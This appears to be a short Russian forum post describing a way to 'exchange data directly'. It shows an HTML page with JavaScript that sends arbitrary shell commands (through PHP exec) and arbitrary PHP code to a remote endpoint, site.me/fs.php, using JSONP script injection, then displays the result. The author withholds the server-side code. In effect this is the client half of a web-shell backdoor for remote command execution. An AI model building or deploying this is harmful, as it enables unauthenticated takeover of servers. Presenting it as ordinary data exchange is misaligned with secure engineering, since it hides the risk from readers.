данная технология позволяет напрямую обмениваться данными
<body>
<h1>System command</h1>
<textarea rows="10" style="width: 100%" id="dsystem"></textarea>
<button id="system">Send</button>
<hr>
<h1>Php code</h1>
<textarea rows="10" style="width: 100%" id="dphp"></textarea>
<button id="php">Send</button>
<hr>
<div id="result"></div>
<script>
system.onclick = function () {
send("exec('" + dsystem.value + "',$a);die('r('.json_encode($a).')');");
};
php.onclick = function () {
send("ob_start();" + dphp.value + "die('r('.json_encode(ob_get_clean()).')');");
};
function send(msg) {
var el = document.createElement('script');
el.src = "http://site.me/fs.php?f=" + msg;
document.body.appendChild(el);
}
function r(msg) {
msg = Array.isArray(msg) ? msg.join("<br>") : msg;
result.innerHTML = '<pre>' + msg + '</pre>';
}
</script>
</body>
пример позволяет клиенту выполнять на сервере серверные команды, а также код php. Результат действий сервера передается затем на клиент
код fs.php не привожу :-)